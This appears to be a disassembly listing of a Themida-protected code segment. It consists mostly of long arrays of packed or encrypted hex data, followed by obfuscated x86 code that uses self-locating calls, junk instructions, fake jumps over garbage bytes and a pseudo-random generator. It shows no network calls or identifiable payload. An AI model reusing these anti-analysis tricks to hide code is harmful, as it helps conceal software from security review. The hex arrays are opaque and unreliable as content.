		dd 75B0B759h, 0B5483256h, 5DB133D8h, 5632CE56h,	4C3C3D54h
		dd 0CBB13254h, 2CD3F4D7h, 283142B7h, 8325371h, 3EBE32AEh
		dd 5DB132FAh, 0E8073DAFh, 56383D57h, 52B13256h,	0D5319BAAh
		dd 6FBE3256h, 75B13201h, 0BAB138BFh, 0E9868D56h, 7B543FE8h
		dd 176A0D51h, 0ABBBDA36h, 0B3A63256h, 0BF5D142Eh, 0F91829E1h
		dd 0BAB1B959h, 3BEA3256h, 0DE89FAD7h, 5259B137h, 0ABB6B759h
		dd 5ABE3256h, 0EAB13257h, 758FDBA3h, 0B5D13256h, 5DB13FDBh
		dd 0AEB9DB56h, 0BE5B3256h, 4543F9E0h, 0F8D03BC6h, 0EAB132A9h
		dd 7059B1AFh, 0BAABB059h, 0D2BE3256h, 0AEB13242h, 57B13DBFh
		dd 8E4B8756h, 0B88FE754h, 0E04B4ADCh, 0B49F39A6h, 0BAB169BFh
		dd 5DBBDB56h, 494C3256h, 7A7507A8h, 8F340B99h, 0C7393D05h
		dd 0E5B13256h, 75B13EDDh, 0BAB6DB56h, 0EEA3256h, 35D2CA1h
		dd 242BB9EFh, 42B6D8F8h, 0D5B13247h, 3DDF53CFh,	0E68606C9h
		dd 0CE9B189Eh, 5E4ABA9Dh, 9DB5B962h, 57BDBD59h,	0AC583256h
		dd 8B13256h, 1EE027C7h,	8CEAB08Dh, 0BAB132FFh, 21343DD6h
		dd 0A1B13256h, 57B13FDFh, 0ABB9DB56h, 0AC423256h, 38E0796Ch
		dd 0B3B2FFEEh, 39D0C736h, 5E4D3796h, 441F41D4h,	5F303D51h
		dd 0A4B13256h, 0D5B130D7h, 0A2D05256h, 75B13EBFh, 4E46CB56h
		dd 954C8E47h, 9E4F5A32h, 5FF6BB54h, 0A7F6BBAFh,	0D5B123BFh
		dd 15569656h, 79990177h, 52300E78h, 379BBA32h, 9D5811BDh
		dd 37B13254h, 8BA51CEDh, 800E526Ah, 0E58CC8B5h,	14D0C0E1h
		dd 0BC458836h, 0AAD06F1Dh, 689AC78Eh, 0AB69C5A3h, 0ABB126BFh
		dd 75B9E156h, 868BE22Eh, 0E2662469h, 7F761CEFh,	96DF9F5Dh
		dd 0AB71B19Ch, 243331A3h, 57B6D8F8h, 0D5B13CBFh, 0B28F7456h
		dd 5F344D94h, 0C0A18073h, 15C9A8D5h, 66063D36h,	0DED0C7DCh
		dd 2FBE3A11h, 0D5B1324Fh, 0EAA2BF59h, 7B583256h, 0E5B13256h
		dd 98287A87h, 85E64AFBh, 15110095h, 0A7F6BB7Fh,	0D5B13BBFh
		dd 0EFE45856h, 62809091h, 21584A44h, 52B13257h,	0AEB133D8h
		dd 9782CE56h, 0ABB135BFh, 9BFCBC56h, 41D0BE09h,	7AB074DCh
		dd 0BAB12BD9h, 5DA5DB56h, 0EC8A3256h, 0BE73D8D4h, 0EEAF1C48h
		dd 4157CFECh, 2D085C7Dh, 89D1DA30h, 0DBD1CB36h,	0DD195337h
		dd 0AE6AB759h, 58583256h, 28B13256h, 46F12D8Ch,	3BE72A75h
		dd 311DB2B7h, 7CB2979Eh, 45373DAEh, 47B13256h, 57B13245h
		dd 20EF453Ch, 9C0A7FABh, 4DFC23D1h, 0CCF2357Fh,	391B9354h
		dd 0E6493096h, 0AEB13257h, 586A39AEh, 0ABB179D2h, 50BE5256h
		dd 0EAB13254h, 0BC306807h, 911365DEh, 152BB837h, 47B6DB85h
		dd 57B1325Bh, 0A3E2ECE7h, 0ADCC0476h, 6A1A5A51h, 7452B240h
		dd 0BAB13ABFh, 0E4D5456h, 0A5B10DD0h, 5C5852C8h, 56B13256h
		dd 5C8F6B5Ch, 41C3AD73h, 144826B4h, 0DAD1F155h,	425AB330h
		dd 0CFD05232h, 5FF6BB37h, 0ABB13CBFh, 0B9EE5C56h, 0DDEC3164h
		dd 4C124694h, 332B9627h, 0B4483E11h, 0AEB132C0h, 57A6B859h
		dd 0B9583256h, 45B13256h, 96EF1C08h, 0F78075EEh, 0DF749361h
		dd 9B5FE23Ah, 0CE69C5A2h, 57B13CBFh, 70273F56h,	0DFC89162h
		dd 0D6C8AFEBh, 1474310Ch, 0BAB1CD73h, 5DA1DB56h, 0F99A3256h
		dd 0DAC81ED2h, 0D8BBBDC1h, 0A3A80FF6h, 2C9A874Ah, 75A0B859h
		dd 0B6583256h, 0C4B13256h, 0FEBA702Ch, 0D879EC92h, 5C4E1D43h
		dd 0D43B3D8Eh, 1FB13256h, 80B3F2D5h, 53B975DFh,	5DB13246h
		dd 0B9FEDBA3h, 0E9EDDB46h
		dd 0B786A533h, 0B57F55F2h, 0E5BD75DFh, 75B133D8h, 0DA49CE56h
		dd 0E953FFD6h, 0A1D0534Ch, 57B133DFh, 5378CB56h, 2DE4CE95h
		dd 0E158DEDDh, 0BAB13256h, 35E4A6CEh, 25645E8Eh, 0BA582A79h
		dd 0B8B13256h, 32643D49h, 0B424045Eh, 497D5A84h, 15F53687h
		dd 3951C02Bh, 0DEBECE92h, 0AEB13246h, 57B139BFh, 69C73556h
		dd 0FFF95E2Bh, 0ADC371FCh, 0FED75236h, 0F46B39Dh, 3CC4CA28h
		dd 0AEB132BEh, 0BD306856h, 0AC5BD538h, 0D5B0B759h, 13483256h
		dd 72313DAFh, 0DAB13256h, 0E2BE77E1h, 143A53ACh, 505B9E5Ch
		dd 0A47801AFh, 0D5B13CDEh, 8BD15256h, 75B137BFh, 154E4756h
		dd 0DED0E820h, 2ABE3269h, 57B13666h, 0CA5DB836h, 3CD135DDh
		dd 0EAB1325Ah, 41352D68h, 613691CCh, 9365F081h,	0CF4F8D59h
		dd 58BD47A9h, 0ABB121D5h, 0D5BFDB56h, 95333256h, 2A9F7313h
		dd 0DB69F87Ah, 0C3C61829h, 0CEB947A9h, 57B7B959h, 23BE3256h
		dd 0D5B13256h, 8B46B930h, 1659C706h, 53B1325Eh,	5DB13250h
		dd 6D5CC40Ch, 97BA1E9Ah, 0ABBBB759h, 5E493256h,	0CD58CA51h
		dd 8DB13256h, 42A5F5D5h, 0A24E4CBFh, 2BBE52A9h,	57B13258h
		dd 0ABB13BBFh, 0D1904456h, 0FEB593C2h, 7AD04781h, 0BAB133DFh
		dd 1838CE56h, 254452AAh, 224E53AEh, 0A53F3D5Ah,	0B5B13256h
		dd 77DC5D7h, 0FEBE3949h, 0BAB13256h, 55C4CD37h,	0AEB137BFh
		dd 4C5F6D56h, 9C4E6380h, 0D25DDAA3h, 0E6583256h, 4AB13256h
		dd 0AC734BFDh, 7F61022Ah, 0A57B9C53h, 77353D96h, 53B13256h
		dd 0D5B275BFh, 0FE58CE56h, 92B13256h, 0D7176F96h, 1B3B29D4h
		dd 0A826CC6Fh, 0A1FF2013h, 20BC552Fh, 5DBECE13h, 0EAB13257h
		dd 7AB60BA3h, 0BAB229D4h, 4E585256h, 0F0B13256h, 215F32EAh
		dd 0E421B65Dh, 0A7D4D902h, 55714B9Fh, 0BE30EA7Eh, 0CB7E46CFh
		dd 0A1F4CD37h, 0AEB123BFh, 0B7B2F556h, 7CE1A683h, 0F805CE37h
		dd 0E2CC3429h, 0A32C66Ch, 3EBE3252h, 5DB1324Fh,	0A2CEB1AEh
		dd 59353D56h, 57B13256h, 0D5B16ABFh, 53D75256h,	9E016E73h
		dd 454E8A37h, 4C58CDA9h, 1CB13256h, 8870047h, 0DB059332h
		dd 12BE1395h, 914036BAh, 75B13CBFh, 9F4EF956h, 612441A3h
		dd 6F12CE80h, 0EE89B87Bh, 0ABB13253h, 0D5B134BFh, 8346E656h
		dd 86AE82F9h, 0BAB4DBFDh, 8F7E3256h, 47D18880h,	0A84ECC88h
		dd 0BBCEB1AFh, 0B5353D53h, 0E5B13256h, 75B133D5h, 0C532CE56h
		dd 0D8BE3446h, 0AEB13228h, 727CB236h, 0ABB121BFh, 0F21E6456h
		dd 0CB9298DCh, 945423B9h, 4A2C589Ah, 81E4D9F2h,	254D7337h
		dd 0D7D13611h, 4D305D8Dh, 0E847BCAFh, 0E6EEB937h, 75B0B159h
		dd 53443256h, 5DB133CCh, 0AEB13CBFh, 0F4867656h, 53C27084h
		dd 1BDEDDC9h, 6119294Eh, 0FE443611h, 0DCD13E09h, 0D6D7E4DDh
		dd 0DE5853A8h, 0BEB13257h, 0ABB13251h, 0FF75EEF3h, 3B94C18h
		dd 75B1325Ch, 0AF31F2C2h, 6A63E42Ch, 0E93A4827h, 83ACE52h
		dd 0AA3D3D5Ah, 2CB13256h, 0E5B96D6Dh, 75B18BD3h, 3FBEC756h
		dd 5DB13257h, 2DBE60AFh, 57B1325Ah, 0ABB7BB59h,	52BE3256h
		dd 0EAB13256h, 89B565DDh, 4FA1677Dh, 0B4A56755h, 0AEB1325Fh
		dd 3ACF1F9Bh, 4230AD9Ch, 55BE5245h, 0EAB13253h,	1276B330h
		dd 0BABBDB8Fh, 40EE3256h, 38CAD9D4h, 9471FFDFh,	0A7EEB937h
		dd 0D5BDDB36h, 45BD3256h, 0B6C06C6Bh, 790171E6h, 5058F0B7h
		dd 0A2B13256h, 7FD5BA18h, 4D746A51h, 0BAC080FAh, 136B1937h
		dd 0C8568D36h, 39D06634h, 74937BDh, 0AE3EDBAEh,	0DDBE3256h
		dd 0ABB13258h, 0D5B13BBFh, 3107CB56h, 0D4BF4E42h, 0A958B368h
		dd 74B13256h, 41A1BF3Eh, 7870A7C0h, 0ED4484BDh,	0F9AC2B04h
		dd 0AD3ACC56h, 0CFD75252h, 5D3BF177h, 51EEB937h, 0AEB0BB59h
		dd 7C493256h, 28483609h, 0C45837BDh, 51B13256h,	0D6D026D8h
		dd 51B1ED02h, 0A0632617h, 0D6958258h, 9831CB36h, 21B253A5h
		dd 0D25502E3h, 0EAB13CBFh, 0A2E67656h, 0C8E68B88h, 0BCC3FF85h
		dd 0A1E48D35h, 57B13ED3h, 0AD3D3D56h, 0DAB13256h, 0EAB132D2h
		dd 65CEB156h, 0A2343D55h, 3DB13256h, 0AC383DAFh, 0DCB13256h
		dd 52F05380h, 0D5B134BFh, 0D5A10F56h, 5E37857Ch, 0E638C78Fh
		dd 0E5493357h, 514ECDA9h, 8E0E3D36h, 0ABB3BE59h, 8EE23256h
		dd 0EAB48B37h, 0FFBE3256h, 0BAB1324Fh, 5DA2B259h, 0A0583256h
		dd 0C6B13256h, 594ADBAFh, 66BA91E8h, 5DDF89Eh, 151AC1A4h
		dd 0BAA2DAAFh, 0B65C3256h, 0A889852Ah, 7ACA8A86h, 0C62498BAh
		dd 48BD3FB9h, 0B2E860A4h, 893DDB37h, 0B5D1CDA9h, 5DB126DEh
		dd 0AEBEDB56h, 9D113256h, 0DA2E48A2h, 0EFD1804h, 0F4CA01ECh
		dd 145782DEh, 0BABBDB37h, 0E3623256h, 84D83AC4h, 0FA815D67h
		dd 0ABBFDB9Fh, 0C4B33256h, 2F70B9F4h, 8C4C6D13h, 7545Bh
		dd 52B12294h, 0AEB133DBh, 0ABE4CE56h, 0FCD1DEDDh, 0D5B137BFh
		dd 365FB456h, 7AEE5711h, 0BAB134DDh, 5D353D56h,	0CFB13256h
		dd 57B13FBFh, 6EC31B56h, 0DF2B97DEh, 9DAAA7C6h,	0B132857Fh
		dd 0B5D152AAh, 0DEBEF3E9h, 0AEB13256h, 37D0CB37h, 0BE3C3DAEh
		dd 0DAB13256h, 0EAB13DD8h, 75BBDB56h, 66DB3256h, 0F4718175h
		dd 0A9B39D9Dh, 57B132BEh, 41306856h, 0D25BDE24h, 503ACEAEh
		dd 725B9E5Ch, 0BABDB759h, 5A583256h, 6B13256h, 0A745EA51h
		dd 62825AE3h, 0D58EB1AAh, 0E93EB659h, 7B583256h, 0AEB13256h
		dd 0FD4F6A6Ch, 3FB53E88h, 0A8A14F08h, 42B6B9C6h, 0D5B1325Bh
		dd 0C9D0A612h, 4115E9F0h, 0D767ED2Ch, 51C4CDA4h, 3347B336h
		dd 58E8B211h, 0A4D0F2E9h, 0D5B126D2h, 0EABEDB56h, 31A73256h
		dd 0FBDDD64Ch, 0F80E41C1h, 8CF4E4B1h, 5FC4CDBEh, 0ABB138BFh
		dd 0BB8BA856h, 496EDF0Ch, 25D7CF6Ch, 0BAB126BFh, 0C7B0D256h
		dd 0C691C838h, 5A5D4C1Ch, 8DF9EA6Dh, 0A28EA1AAh, 0E9F9DACBh
		dd 7E493256h, 0A1343D96h, 0A5B13256h, 0AB5835DDh, 89B13256h
		dd 4E80B2EAh, 0D5B110BFh, 213A5256h, 22F715E8h,	7D32536Dh
		dd 0B4D05242h, 514ECD1Fh, 57B8B059h, 0CDD13256h, 0DA6AEFECh
		dd 63D0CDE1h, 0F4BECE13h, 0BAB13257h, 51C4CDAFh, 0A6C4CDA3h
		dd 57B13BBFh, 47294556h, 0FD52F431h, 0DD4E954Ah, 75B120BFh
		dd 0B0D14956h, 6AD42C18h, 55F79E0Ch, 0A7C3D007h, 435A7AD5h
		dd 0D5B13098h, 0E57139AFh, 75B125D2h, 0BD383D56h, 3DB13256h
		dd 11BEFADDh, 2D585385h, 0CBB13254h, 0B440B8AAh, 1F4D77DDh
		dd 0F7BE356Fh, 0BAB1303Fh, 5DBDB259h, 25BE3256h, 57B13250h
		dd 0ABB1B859h, 904E3256h, 9532C7AAh, 0F1BE3252h, 0BAB1327Ch
		dd 51CEB1AAh, 0B1353D56h, 58B13256h, 0ABB133DBh, 0B758CA56h
		dd 8AB13256h, 0FB33FAE9h, 0BAB6DB64h, 0B14B3256h, 0D04D919Fh
		dd 0A80953F8h, 0A44ECDA9h, 0D5B133D6h, 0EF08CE56h, 7AB13256h
		dd 0BAB126DDh, 0D6D75256h, 0AEB8DA9Eh, 7B443256h, 756B9CEh
		dd 8E546DEBh, 8A1AC137h, 0F468B930h, 4E9A34B9h,	47585301h
		dd 0A14ECDA9h, 57B13ED1h, 0AD3C3D56h, 0DAB13256h, 0EAB132DFh
		dd 65CEB156h, 0C5353D53h, 0B4B13256h, 0AEB13245h, 6DA81B87h
		dd 5C587F3Dh, 4877CB32h, 0D039E622h, 15EC6922h,	0B54A8559h
		dd 5DB132D3h, 0D1325356h, 0D2BE3446h, 0ABB13229h, 0D5B138BFh
		dd 0C9FB0556h, 0E40DB7D7h, 0B561D790h, 5DB13DD0h, 0AEBBDB56h
		dd 3AA73256h, 4A358864h, 0F0E90EBh, 0AD3ACB17h,	75BBDB52h
		dd 0DD303256h, 0CB5D8B13h, 9569E692h, 58BD6DDDh, 0ABB133D3h
		dd 358CB56h, 8AB13256h,	25888B30h, 7A063D36h, 1A3A5337h
		dd 0F13ACB52h, 57A0DB5Ah
		dd 165A3256h, 0F54AF5A2h, 4DA89E35h, 0F036CFA3h, 53277D34h
		dd 5DB132C3h, 0AEB134BFh, 9E8CE256h, 2085CBC4h,	5E493611h
		dd 13D13E09h, 75B2B059h, 31D73256h, 29A53A1h, 4532CB52h
		dd 0B7305253h, 0FDE3AB42h, 0D5B122BEh, 0FCB6B456h, 0C2143D39h
		dd 0B5666CBDh, 0B1F1C04Bh, 0AEBEDBB9h, 5943256h, 9C399520h
		dd 72D88DD1h, 0AE122353h, 0F6D06887h, 0B5B22229h, 5DB106D3h
		dd 47D15256h, 57B13242h, 72E0124Fh, 0EA3CA3F3h,	3847BBD7h
		dd 0E0F98F41h, 0FF699C55h, 0D4BE53AAh, 0AEB13255h, 364E8559h
		dd 64305217h, 0DC51BC10h, 3A58C30h, 9C681937h, 0BAB1325Bh
		dd 8B29833Ch, 7BE70676h, 0F75CA77Ch, 0AAEDBBA1h, 57BE5257h
		dd 0EAB13241h, 75B123BEh, 801D1C56h, 26C3FDD6h,	9C879D69h
		dd 8B6B9C83h, 0A4EE12A5h, 0D5B130DFh, 8B40B956h, 8A4ECDEEh
		dd 0BF08CEA9h, 0B4B13256h, 0AEB1325Dh, 0CF216581h, 0D9A6A339h
		dd 3C0567C5h, 0EAB13246h, 23EC828Bh, 744EFCDAh,	0F2928A3Eh
		dd 5A9CA15Ch, 0BE4D99A5h, 544ECF07h, 0D5B126BFh, 3190A556h
		dd 0ACD018EFh, 60ABA8C3h, 9E563A76h, 0BED6C58h,	9E4953B0h
		dd 8C65B236h, 4CF565EEh, 0E2735367h, 60323D56h,	53B13256h
		dd 5DB13246h, 73888505h, 48F995E0h, 0EA37BF78h,	0C763E1BFh
		dd 0EAB9B059h, 0FDBE3256h, 0BAB13254h, 3DE45336h, 0B850B330h
		dd 367BB9F4h, 2844DEDDh, 0D258CE92h, 0B7B13256h, 8C16EFE6h
		dd 32BE0C61h, 5DB13242h, 0AEB13DBFh, 75AD356h, 0F8224232h
		dd 2569E1B9h, 0EAC169FFh, 7D303D36h, 0B5B13256h, 5DB130D5h
		dd 0A1D05256h, 57B122DDh, 0ABBADB56h, 234F3256h, 9BAE23FFh
		dd 0C1BE2A84h, 0B2F4B9A0h, 51F409AAh, 0AEFDB059h, 5F583256h
		dd 0EBB13256h, 54F2FD61h, 0D1687BF3h, 0F2BE2213h, 0BAB13260h
		dd 26068836h, 25D765BBh, 1276538Ch, 0ABB132AAh,	0D2333D56h
		dd 0E5B13256h, 75B133DBh, 9B58CB56h, 3DB13256h,	0AEB7B859h
		dd 0A0303256h, 0AC2C1CEFh, 0D05E90EFh, 0AF765367h, 75B133AAh
		dd 0BB58CE56h, 0A8B13256h, 0A6303D37h, 58B13256h, 0ABB130DEh
		dd 5ED05256h, 61BECE13h, 75B1325Ch, 0B5EB6536h,	5DB132D6h
		dd 47785356h, 57B13258h, 3E8587B2h, 12A8BE81h, 116A09D0h
		dd 79733382h, 0B5E4CB56h, 5DB133DFh, 423ACB56h,	57B123BFh
		dd 365D1C56h, 3CCE0444h, 0FB4D5E67h, 3ED66582h,	39487ABAh
		dd 5758CE92h, 0C2B13256h, 0FF551416h, 4ED04C8Fh, 5BBE5227h
		dd 0EAB13251h, 75B0B059h, 52443256h, 5DB13256h,	75BB30Ch
		dd 0ABB6D8A7h, 0AE3B3D36h, 6CB13256h, 0AE5AF36Ch, 1426DCD6h
		dd 0BABDDA36h, 15DA3256h, 0B1152635h, 0ED6454FCh, 14D77C3Bh
		dd 54EBB81Ch, 0F02C491h, 0BC825350h, 423A5436h,	55338930h
		dd 476A0137h, 57B1325Fh, 0BCE8C7BDh, 62E7843Ch,	16ECBBB4h
		dd 75B0BA59h, 31483256h, 0B71D38ECh, 0AEBBDB51h, 2DED3256h
		dd 0CA2DBB61h, 6E1AA3CDh, 0E5B10DD5h, 75B352D2h, 8532CE56h
		dd 8343DA9h, 47B13256h,	57B1325Bh, 171BEFD3h, 0A670437Ah
		dd 776B9BF7h, 6176B1F6h, 0BAB122BFh, 3FCB8B56h,	0B606EE68h
		dd 414298ACh, 22AFB835h, 0DD313D93h, 0E5B13256h, 75B130DBh
		dd 53D05256h, 0A24ECDE6h, 0AEB121BFh, 86047956h, 0DC824410h
		dd 0C69E067h, 0DCD21098h, 7809A018h, 0BAB54DD5h, 5D85B659h
		dd 0A2583256h, 84B13256h, 9D76BB96h, 0B06CFC4Ch, 69D97762h
		dd 7AB13E29h, 0BAB12BD2h, 6458C756h, 47B13256h,	57B13258h
		dd 6275A37Ch, 0D120D83Dh, 0AD7EC9D2h, 304EA7A8h, 3FBECAAAh
		dd 5DB13253h, 5B40B836h, 4376B137h, 0ABB0BD59h,	3C483256h
		dd 154ECD6Ah, 74303DAEh, 43B13256h, 58A14DD5h, 0AE3FB659h
		dd 52583256h, 0CDB13256h, 0D4CD8F75h, 0ECA14DD5h, 7510B759h
		dd 3BD13256h, 7C3234A7h, 47D0CB49h, 57B13245h, 0D335447h
		dd 396D7FD2h, 1F96329Dh, 8E5B472Bh, 0FB14CB73h,	5DB123BFh
		dd 5A5BF656h, 3037F90Ch, 1E638E26h, 3A56A684h, 0AD3A6C11h
		dd 74343D52h, 43B13256h, 52BD6DDDh, 0AEB133DEh,	8658CE56h
		dd 0CBB13256h, 1D305436h, 61D78014h, 65595399h,	0EFB13256h
		dd 0B177246Ah, 81E406A3h, 0F3B8B3E9h, 0CB345964h, 0B5D06D37h
		dd 8B4B8D59h, 7AB575DDh, 0BAB138D1h, 0DDBE5256h, 0AEB13256h
		dd 37D05336h, 0A7EEB937h, 0D5B0B159h, 3483256h,	75B13201h
		dd 31D0CE36h, 0DCBE3611h, 0AEB13258h, 57323D36h, 0A4B13256h
		dd 0D5B132DBh, 0B53A5356h, 75B6DB5Ah, 0F0333256h, 0DF598DD6h
		dd 0F19AC75Eh, 0DBBEC752h, 0ABB13257h, 0D05AB1AFh, 0EAB0B659h
		dd 0F6483256h, 0B5B22229h, 5DB13CD3h, 0C8D1CB56h, 16D0EBDDh
		dd 14AC8836h, 0FED038B6h, 0E2343D8Fh, 7AB13256h, 0BAB130DEh
		dd 52D05256h, 0AEB125D9h, 57A3DB56h, 3D7D3256h,	5F496AB2h
		dd 0FDEA3453h, 593BEBDAh, 0A64AD191h, 5CB06EDFh, 0AEB8B759h
		dd 0DDD13256h, 0FE658BB3h, 20D06EDCh, 154ECDEEh, 72393DA9h
		dd 0DAB13256h, 3D2BD7D6h, 0AB085337h, 58B13256h, 0ABB139D4h
		dd 0D5B7DB56h, 0F9A3256h, 0F3591135h, 30BE99A5h, 5DB13258h
		dd 0AE3B3D36h, 58B13256h, 0ABB132DBh, 48585356h, 8A4ECDABh
		dd 2E7AB905h, 32BE5337h, 5DB13251h, 0C8D05236h,	0DCD0F3DDh
		dd 6244CE13h, 0D5B134BFh, 0FBA75356h, 0B62C47B8h, 0BAB8DBAEh
		dd 557A3256h, 9C66B97Eh, 77DBF9Ah, 0ABB4DB36h, 37493256h
		dd 8BEF1E05h, 75BEDB07h, 87A53256h, 0A16637B3h,	36533504h
		dd 4796C727h, 2FBE614Fh, 0D5B1324Ah, 0EAA7B559h, 64583256h
		dd 24B13256h, 49F4CA7Fh, 443F0B60h, 0A91A3C70h,	866CB447h
		dd 0D5B1DAAFh, 6BEB3256h, 9F45C9BCh, 0BAA5DB51h, 45603256h
		dd 98FCD492h, 7270D9D6h, 80926611h, 0B4C1D0F9h,	6ABE6E71h
		dd 75B13251h, 3AEB6236h, 52D0CBB0h, 0AEB137D4h,	0DD495256h
		dd 26BE53B9h, 0D5B13251h, 213A5436h, 0F8D0B4E1h, 501C27CCh
		dd 0AE315251h, 5C305422h, 0EFD0561Eh, 0ABB13232h, 825AB236h
		dd 0EAB121BEh, 98FB056h, 0FB5B89CEh, 7E55233h, 3401B67Dh
		dd 0F3319B61h, 0F360B930h, 0D5BADB37h, 14883256h, 67F434C1h
		dd 0DDC8C418h, 5882DA5Bh, 254D3256h, 968ACB5Dh,	0AB22DBAFh
		dd 0D8583256h, 32B13256h, 8033BDC9h, 0DB961E3Ch, 175985FAh
		dd 47B57955h, 57B13250h, 8695F113h, 148A46F9h, 0EA06B059h
		dd 79583256h, 0CFB13256h, 0F00A53EAh, 0AFFAB848h, 585FB885h
		dd 0ABB136D3h, 8BE15256h, 0FAFA3137h, 75B8B159h, 0B5D13256h
		dd 5DB132DBh, 95D0C756h, 45333D97h, 0CBB13256h,	7B57CBEEh
		dd 0B878B7Eh, 9CD02EF4h, 0BAB13251h, 5D11DBAEh,	474D3256h
		dd 57B132CCh, 0ABB126BFh, 860B4956h, 0FF91CF72h, 0C38A8CCh
		dd 2384B756h, 83D886FEh, 0DB2BBF4Dh, 0ABB6D934h, 0ABB0B959h
		dd 2A4D3256h, 0EABCDB85h, 0DD4E3256h, 0EA5AD33Ch, 0E224232h
		dd 4769E1B9h, 57B1320Ch, 0E85BB336h, 0B3D1FB39h, 52DCDAD7h
		dd 673E3D37h, 0DAB13256h, 5DB13BBFh, 0CBDEFE56h, 45F3518h
		dd 0CAD1EACEh, 4E2BBF37h, 3B6D933h, 75B1325Ah, 1C1EDD09h
		dd 83C45F9h, 1616D498h,	57B138BFh, 83687856h, 0D5FECEF4h
		dd 157B69ADh, 72373D85h, 0DAB13256h, 0D6D75336h, 56EA539Dh
		dd 37E9CA0Fh, 0CBD0FCDDh, 0D5B13ABEh, 0B76C8456h, 3D75B837h
		dd 830B5444h, 0B5E26DD9h, 0AEB13245h, 559127h, 0E4A920A1h
		dd 979AAA9Ah, 3ED5D6C4h, 2E428F6Eh, 4672530Fh, 0E2085203h
		dd 2F826612h, 0FB75FD95h
		dd 473A5310h, 0D5BAB959h, 0EC583256h, 0CCB13256h, 0BF71CD96h
		dd 4B383DD2h, 0A1B13256h, 57B122D0h, 0ABBADB56h, 9ADB3256h
		dd 7154058h, 56355E2Fh,	0BAB1DACDh, 0DCEB3256h,	444615BCh
		dd 5D58CA51h, 74B13256h, 2E592C0Dh, 600744F5h, 7F5852C5h
		dd 0B7B13256h, 0B21DCB8Ch, 0EFF750E4h, 420BBFFFh, 0A4B6D8FBh
		dd 0D5B120D3h, 52D75256h, 73590ED9h, 0BAB13256h, 560677FBh
		dd 57D06B61h, 58B977DDh, 0ABB13FDCh, 0A20F5256h, 0E585F332h
		dd 75B132D4h, 0BD385356h, 5DB138BFh, 0B97C2456h, 82D0BCE8h
		dd 2022D7CDh, 53BE3E13h, 0EAB1324Fh, 75B126BFh,	0ED307756h
		dd 3AE5195Ch, 0A3A787A8h, 351CE9Bh, 9480688Ch, 57BE5213h
		dd 0EAB13254h, 0B43BEDDDh, 0BEF6BB37h, 5DB13EBFh, 3C0C2356h
		dd 0A9261413h, 356DE533h, 0C5F4B92Fh, 0E6F6BBAEh, 61F4B9AAh
		dd 0BABFB559h, 54583256h, 5FB13256h, 0FC3233CDh, 0F8FBF5CBh
		dd 0B5A175DFh, 3D6BB3AAh, 14C2B22Ch, 0AF383D37h, 0B4B13256h
		dd 0AEB13246h, 93EF3458h, 47DB078Ah, 6624CA0Fh,	0C0EECE44h
		dd 7D3C3D9Fh, 0B5B13256h, 5DB130D2h, 6CD05256h,	0DABE3246h
		dd 0ABB13257h, 58BE52A3h, 0EAB1325Eh, 75B3BA59h, 0DBD13256h
		dd 719CB790h, 0CEF635B2h, 6170E3D7h, 0A7587D1Fh, 5DB13256h
		dd 0AA65DE21h, 3504EAA8h, 0DB0A8D9Fh, 4AC2283Eh, 25D752FEh
		dd 57BDDBAEh, 0A7863256h, 0A99F7E79h, 0EEEFF43Eh, 8AD0705Dh
		dd 5E9073E3h, 5DBADB51h, 3C063256h, 0FE409051h,	0CC09AEDCh
		dd 7234BF54h, 0E5B6D5E6h, 75B133D2h, 6A4ECB56h,	5DB9B059h
		dd 21BE3256h, 57B13254h, 0A4E35336h, 0D5B133D0h, 603CCE56h
		dd 725B9CD3h, 5D752AFh,	0CD06743h, 0AEB122BFh, 4F956256h
		dd 52EA92F7h, 0F7ECA95h, 7185A195h, 9C61CD2Ch, 0BAB1325Ah
		dd 55ADC9B5h, 0F5AACB95h, 0D56D897Ch, 4930520Ch, 8717F9D4h
		dd 6F33BF37h, 9CB6D8F8h, 0BAB13246h, 98F153A5h,	5304AD88h
		dd 9F775891h, 0C6198A51h, 0D9F18559h, 0EAB13ABFh, 948DBC56h
		dd 0A425D953h, 5269B945h, 0AEB133D8h, 0A2E3CA56h, 0BB580359h
		dd 58B13256h, 0BB6897C7h, 6E7B33E6h, 0E29DD24h,	71D3BCFh
		dd 68063D36h, 57B138BFh, 901F9656h, 8BAFAB35h, 8B20DFBAh
		dd 0FBBEF155h, 0BAB1325Eh, 5DB3B459h, 0CFD13256h, 7200B0DFh
		dd 0CA4935B2h, 0D5BCB059h, 0E2583256h, 0C7B13256h, 249062B8h
		dd 9E522C72h, 0A9383DAEh, 58B13256h, 0B133DFh, 0E951F900h
		dd 11h,	870E0A20h, 1830D41Ch, 8213DFDDh, 4D264B51h, 8E0F52F6h
		dd 0Ch,	68D0Fh,	880F0000h, 0
; ---------------------------------------------------------------------------
		call	$+5
		pop	edx
		sub	edx, 7EAF9C6h
		pusha
		jmp	loc_5F1E64
; ---------------------------------------------------------------------------
		dw 0F92Ah
		dd 9133D8DCh
; ---------------------------------------------------------------------------


loc_5F1E64:				; CODE XREF: Themida_:005F1E59j
		mov	cx, dx
		popa
		jmp	loc_5F1E73
; ---------------------------------------------------------------------------
		push	ebx
		add	eax, 9DD38275h


loc_5F1E73:				; CODE XREF: Themida_:005F1E68j
		pusha
		adc	si, 0F7B7h
		popa
		cld
		push	edx
		jz	loc_5F1E8A
		pusha
		jnb	$+6
		popa


loc_5F1E8A:				; CODE XREF: Themida_:005F1E7Cj
		cld
		mov	eax, [edx+7E425B1h]
		jo	loc_5F1EAC
		jl	loc_5F1EAC
		jmp	loc_5F1EAC
; ---------------------------------------------------------------------------
		dw 6BFEh
		dd 37D431A1h, 697B34B3h
; ---------------------------------------------------------------------------


loc_5F1EAC:				; CODE XREF: Themida_:005F1E91j
					; Themida_:005F1E97j ...
		mov	ecx, 41C64E6Dh
		clc
		mul	ecx
		pusha
		mov	si, 0F2C1h
		mov	esi, edi
		popa
		pop	edx
		pusha
		jmp	loc_5F1ED6
; ---------------------------------------------------------------------------
		align 4
		dd 79425039h, 5CF1DFCBh, 101A5826h, 765AA1D2h
		db 0DFh, 72h
; ---------------------------------------------------------------------------


loc_5F1ED6:				; CODE XREF: Themida_:005F1EBEj
		mov	ax, 94BBh
		popa
		add	eax, 3039h
		jl	loc_5F1EFC
		jp	loc_5F1EFC
		jmp	loc_5F1EFC
; ---------------------------------------------------------------------------
		push	esp
		and	[edx], al
		inc	edx
		retn
; ---------------------------------------------------------------------------
		dw 0E7Bh
		dd 0D91067E6h
; ---------------------------------------------------------------------------


loc_5F1EFC:				; CODE XREF: Themida_:005F1EE0j
					; Themida_:005F1EE6j ...
		and	eax, 7FFFFFFFh
		jns	loc_5F1F1F
		jmp	loc_5F1F1F
; ---------------------------------------------------------------------------
